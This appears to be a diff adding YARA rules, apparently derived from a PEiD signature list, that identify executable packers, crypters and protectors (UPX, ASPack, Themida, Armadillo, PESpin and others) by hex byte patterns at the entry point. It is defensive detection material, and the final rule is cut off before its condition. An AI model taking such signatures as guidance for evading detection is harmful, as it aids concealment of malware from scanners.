+rule _Werus_Crypter_10__Kas_
+{
+	meta:
+		description = "Werus Crypter 1.0 -> Kas"
+	strings:
+		$0 = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 A8 10 40 00 FF 25 B0 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+		$1 = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40}
+		$2 = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 A8 10 40 00 FF 25 B0 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_50_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player 5.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PENinja_
+{
+	meta:
+		description = "PENinja"
+	strings:
+		$0 = {90 90 90 90 90 90 90 06 B8 ?? ?? 8E C0 B9 ?? ?? 26 ?? ?? ?? ?? 80 ?? ?? 26 ?? ?? ?? 24 ?? 3A C4 90 90}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXELOCK_666_103_
+{
+	meta:
+		description = "EXELOCK 666 1.03"
+	strings:
+		$0 = {BA 6C 07 BF 20 01 EB 01 EA E8 02 FF 7C 29 79 2F 1F F7 51 75 F6 E6 A9 40 17 F9 A5 14 FB 9B 8E 1D 7C 0D 55 BC E3 0D E1 F7 8D E6 55 AC 66 19 9B 0D 6E 1D BE FC 1C 19 F1 E0 21 F6 1C 79 A3 C9 A7 DC BE DF 77 BB B4 71 A1 E3 AC D9 6E 7F AD AD 6A AE}
+	condition:
+		$0 at entrypoint
+}
+rule _AntiDote_V12V14__SISTeam_
+{
+	meta:
+		description = "AntiDote V1.2-V1.4 -> SIS-Team"
+	strings:
+		$0 = {00 00 00 00 09 01 47 65 74 43 6F 6D 6D 61 6E 64 4C 69 6E 65 41 00 DB 01 47 65 74 56 65 72 73 69 6F 6E 45 78 41 00 73 01 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 00 7A 03 57 61 69 74 46 6F 72 53 69 6E 67 6C 65 4F 62 6A 65 63 74 00 BF 02 52 65 73 75 6D 65 54 68 72 65 61 64 00 00 29 03 53 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 94 03 57 72 69 74 65 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 00 6B 03 56 69 72 74 75 61 6C 41 6C 6C 6F 63 45 78 00 00 A6 02 52 65 61 64 50 72 6F 63 65 73 73 4D 65 6D 6F 72 79 00 CA 01 47 65 74 54 68 72 65 61 64 43 6F 6E 74 65 78 74 00 00 62 00 43 72 65 61 74 65 50 72 6F 63 65 73 73 41 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 26 00 43 68 61 72 4C 6F 77 65 72 41 00 00 55 53 45 52 33 32 2E 64 6C 6C 00 00 5E 02 66 72 65 65 00 00 4C 02 66 63 6C 6F 73 65 00 00 DA 00 5F 66 69 6C 62 75 66 00 91 02 6D 61 6C 6C 6F 63 00 00 64 02 66 74 65 6C 6C 00 62 02 66 73 65 65 6B 00 57 02 66 6F 70 65 6E 00 C5 02 73 74 72 73 74 72 00 00 4D 53 56 43 52 54 2E 64 6C 6C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V1X_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.X-> Sukhov Vladimir"
+	strings:
+		$0 = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+	condition:
+		$0 at entrypoint
+}
+rule _A_program_by_Jupiter__
+{
+	meta:
+		description = "A program by Jupiter .."
+	strings:
+		$0 = {2B C0 74 05 68 ?? ?? ?? ?? 50}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v11__Cyberbob_
+{
+	meta:
+		description = "PESpin v1.1 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 83 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 BD 2D 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21}
+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _InterLok_V551__PACE_AntiPiracy_
+{
+	meta:
+		description = "InterLok V5.51 -> PACE Anti-Piracy"
+	strings:
+		$0 = {EB 03 ?? ?? ?? 55 EB 03 ?? ?? ?? EB 04 ?? EB 06 ?? 8B EC EB F9 ?? EB 02 ?? ?? 81 EC A8 00 00 00 EB 02 ?? ?? EB 01 ?? 53 EB 03 ?? ?? ?? EB 05 ?? ?? EB 15 ?? EB 03 ?? ?? ?? 56 EB 04 ?? EB F2 ?? EB 01 ?? EB F8 ?? ?? ?? EB 0F ?? 33 F6 EB 10 ?? ?? ?? EB F7}
+		$1 = {EB 03 ?? ?? ?? 55 EB 03 ?? ?? ?? EB 04 ?? EB 06 ?? 8B EC EB F9 ?? EB 02 ?? ?? 81 EC A8 00 00 00 EB 02 ?? ?? EB 01 ?? 53 EB 03 ?? ?? ?? EB 05 ?? ?? EB 15 ?? EB 03 ?? ?? ?? 56 EB 04 ?? EB F2 ?? EB 01 ?? EB F8 ?? ?? ?? EB 0F ?? 33 F6 EB 10 ?? ?? ?? EB F7 ?? ?? EB FA ?? EB 01 ?? EB F8 ?? EB 01 ?? 57 EB 03 ?? ?? ?? EB 11 ?? ?? ?? EB 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 08 ?? EB F0 ?? EB 07 ?? ?? EB FA ?? ?? ?? EB 02 ?? ?? BB ?? ?? ?? ?? EB 03 ?? ?? ?? 0F 85 ?? ?? ?? ?? EB 07}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Stones_PE_Encrypter_20_
+{
+	meta:
+		description = "Stone's PE Encrypter 2.0"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 81 ED 42 30 40 00 FF 95 32 35 40 00 B8 37 30 40 00 03 C5 2B 85 1B 34 40 00 89 85 27 34 40 00 83 BD 0F 34 40 00 00 75 1D 90 90 90 90 C7 85 0F 34 40 00 01 00 00 00 E8 1E 00 00 00 E8 25 02 00 00 E8 DA 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PolyCryptor_by_SMT_Version_v3v4_
+{
+	meta:
+		description = "PolyCryptor by SMT Version %v3.%v4"
+	strings:
+		$0 = {EB ?? 28 50 6F 6C 79 53 63 72 79 70 74 20 ?? ?? ?? 20 62 79 20 53 4D 54 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_5__BitArts_
+{
+	meta:
+		description = "Crunch 5 -> Bit-Arts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 1D 00 00 00 8B C5 55 60 9C 2B 85 FC 07 00 00 89 85 E8 07 00 00 FF 74 24 2C E8 20 02 00 00 0F 82 94 06 00 00 E8 F3 04 00 00 49 0F 88 88 06 00 00 8B B5 E8 07 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_REALBasic_
+{
+	meta:
+		description = "PseudoSigner 0.1 [REALBasic"
+	strings:
+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+		$1 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MinGW_GCC_DLL_v2xx_
+{
+	meta:
+		description = "MinGW GCC DLL v2xx"
+	strings:
+		$0 = {55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2000_
+{
+	meta:
+		description = "ASPack v2.000"
+	strings:
+		$0 = {60 E8 48 11 00 00 C3 83}
+		$1 = {60 E8 70 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V01XV02X__Dwing_
+{
+	meta:
+		description = "Upack V0.1X-V0.2X -> Dwing"
+	strings:
+		$0 = {1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_GCC_v2x_
+{
+	meta:
+		description = "MinGW GCC v2.x"
+	strings:
+		$0 = {55 8B EC 83 ?? ?? A1 ?? ?? 2E ?? ?? ?? 2E ?? ?? ?? ?? ?? 8C D7 8E C7 8D ?? ?? BE ?? ?? FC AC 3C 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyX_04_by_delikon_
+{
+	meta:
+		description = "UPolyX 0.4 by delikon"
+	strings:
+		$0 = {55 8B EC ?? ?? ?? ?? ?? ?? 59 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 E9 ?? E2 ?? C3 00 00 00 00}
+	condition:
+		$0
+}
+rule _PESpin_1304__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 1.304 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_JDPack_1x__JDProtect_09_
+{
+	meta:
+		description = "PseudoSigner 0.1 [JDPack 1.x / JDProtect 0.9"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+		$1 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_062_PE_DLL_
+{
+	meta:
+		description = "UPX 0.62 [PE DLL]"
+	strings:
+		$0 = {80 7C 24 08 01 0F 85 95 01 00 00 60 E8 00 00 00 00 58 83 E8 48 50 8D B8 00 00 00 FF 57 66 81 87 00 00 00 00 00 00 8D B0 F8 01 00 00 83 CD FF 31 DB EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_120__Markus__Laszlo_
+{
+	meta:
+		description = "UPX 1.20 -> Markus & Laszlo"
+	strings:
+		$0 = {31 2E 32 30 00 55 50 58}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeJoiner_10__Yoda_
+{
+	meta:
+		description = "ExeJoiner 1.0 -> Yoda"
+	strings:
+		$0 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00}
+		$1 = {68 00 10 40 00 68 04 01 00 00 E8 39 03 00 00 05 00 10 40 00 C6 00 5C 68 04 01 00 00 68 04 11 40 00 6A 00 E8 1A 03 00 00 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 68 04 11 40 00 E8 EC 02 00 00 83 F8 FF 0F 84 83 02 00 00 A3 08 12 40 00 6A 00 50 E8 E2 02 00 00 83 F8 FF 0F 84 6D 02 00 00 A3 0C 12 40 00 8B D8 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00 E8 E3 02 00 00 6A 00 68 3C 12 40 00 6A 04 68 1E 12 40 00 FF 35 08 12 40 00 E8 C4 02 00 00 83 EB 04 6A 00 6A 00 53 FF 35 08 12 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V115V116_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.15-V1.16 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF E8 83 01 00 00 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB 14}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_MIB_
+{
+	meta:
+		description = "PocketPC MIB"
+	strings:
+		$0 = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF}
+		$1 = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00}
+		$2 = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 01 3C ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00}
+		$3 = {E8 FF BD 27 14 00 BF AF 18 00 A4 AF 1C 00 A5 AF 20 00 A6 AF 24 00 A7 AF ?? ?? ?? 0C 00 00 00 00 18 00 A4 8F 1C 00 A5 8F 20 00 A6 8F ?? ?? ?? 0C 24 00 A7 8F ?? ?? ?? 0C 25 20 40 00 14 00 BF 8F 08 00 E0 03 18 00 BD 27 ?? FF BD 27 18 00 ?? AF ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _Armadillo_v160a_
+{
+	meta:
+		description = "Armadillo v1.60a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Mew_10_V10_Eng__Northfox_
+{
+	meta:
+		description = "Mew 10 V1.0 (Eng) -> Northfox"
+	strings:
+		$0 = {33 C0 E9 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _JExeCompressor_10__by_Arash_Veyskarami_
+{
+	meta:
+		description = "JExeCompressor 1.0 - by Arash Veyskarami"
+	strings:
+		$0 = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0}
+		$1 = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8 02 00 00 00 50 03 14 24 58 58 51 2B C9 B9 01 00 00 00 83 EA 01 E2 FB 59 E2 E1 FF E0}
+		$2 = {8D 2D D3 4A E5 14 0F BB F7 0F BA E5 73 0F AF D5 8D 0D 0C 9F E6 11 C0 F8 EF F6 DE 80 DC 5B F6 DA 0F A5 C1 0F C1 F1 1C F3 4A 81 E1 8C 1F 66 91 0F BE C6 11 EE 0F C0 E7 33 D9 64 F2 C0 DC 73 0F C0 D5 55 8B EC BA C0 1F 41 00 8B C2 B9 97 00 00 00 80 32 79 50 B8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Armadillo_v300a_
+{
+	meta:
+		description = "Armadillo v3.00a"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PMODEW_133_
+{
+	meta:
+		description = "PMODE/W 1.33"
+	strings:
+		$0 = {FC 16 07 BF 00 01 8B F7 57 B9 5E 16 F3 A5 06 1E 07 1F 5F BE 22 02 06 0E A4 AD 8B E8 B2 10 1E B8 D9 01 50 CB D1 ED FE CA 75 05 AD 8B E8 B2 10 C3 E8 F1 FF 73 0F E8 EC FF 80 D1 01 D0 E1 E8 E4 FF D0 D7 E2 F9 B6 02 B1 04 FE C6 E8 D7 FF 72 1D E2}
+	condition:
+		$0 at entrypoint
+}
+rule _RSCs_Process_Patcher_14_
+{
+	meta:
+		description = "R!SC's Process Patcher 1.4"
+	strings:
+		$0 = {E8 E1 01 00 00 80 38 22 75 13 80 38 00 74 2E 80 38 20 75 06 80 78 FF 22 74 18 40 EB ED 80 38 00 74 1B EB 19 40 80 78 FF 20 75 F9 80 38 00 74 0D EB 0B 40 80 38 00 74 05 80 38 22 74 00 8B F8 B8 04 60 40 00 68 00 20 40 00 C7 05 A2 20 40 00 44 00 00 00 68 92}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftComp_1x__BG_Soft_PT_
+{
+	meta:
+		description = "SoftComp 1.x -> BG Soft PT"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00}
+		$1 = {E8 00 00 00 00 81 2C 24 3A 10 41 00 5D E8 00 00 00 00 81 2C 24 31 01 00 00 8B 85 2A 0F 41 00 29 04 24 8B 04 24 89 85 2A 0F 41 00 58 8B 85 2A 0F 41 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Trap_121_EXE_
+{
+	meta:
+		description = "Trap 1.21 [EXE]"
+	strings:
+		$0 = {E8 00 00 5B 83 C3 2B 90 8B D3 E8 01 00 01 5B 2E 80 3F 00 74 19 90 90 8B DA B9 94 04 EB 01 90 2E C0 07 00 2E 80 37 00 2E 80 2F 00 43 E2 F1}
+	condition:
+		$0 at entrypoint
+}
+rule _Themida_1201_compressed__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.2.0.1 (compressed) -> Oreans Technologies"
+	strings:
+		$0 = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+		$1 = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? 00 03 C7 B9 ?? ?? ?? 00 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01 00 00 02 00 00 00 91 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {B8 00 00 ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _SciFax_Graphics_file_
+{
+	meta:
+		description = "SciFax Graphics file"
+	strings:
+		$0 = {44 54 3D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_2xx_max_compressed_resources_
+{
+	meta:
+		description = "EXECryptor 2.xx (max. compressed resources)"
+	strings:
+		$0 = {55 8B EC 83 C4 EC FC 53 57 56 89 45 FC 89 55 F8 89 C6 89 D7 66 81 3E 4A 43 0F 85 23 01 00 00 83 C6 0A C7 45 F4 08 00 00 00 31 DB BA 00 00 00 80 43 31 C0 E8 11 01 00 00 73 0E 8B 4D F0 E8 1F 01 00 00 02 45 EF AA EB E9 E8 FC 00 00 00 0F 82 97 00 00 00 E8 F1 00 00 00 73 5B B9 04 00 00 00 E8 FD 00 00 00 48 74 DE 0F 89 C7 00 00 00 E8 D7 00 00 00 73 1B 55 BD 00 01 00 00 E8 D7 00 00 00 88 07 47 4D 75 F5 E8 BF 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 C8 00 00 00 83 C0 07 89 45 F0 C6 45 EF 00 83 F8 08 74 89 E8 A9 00 00 00 88 45 EF E9 7C FF FF FF B9 07 00 00 00 E8 A2 00 00 00 50}
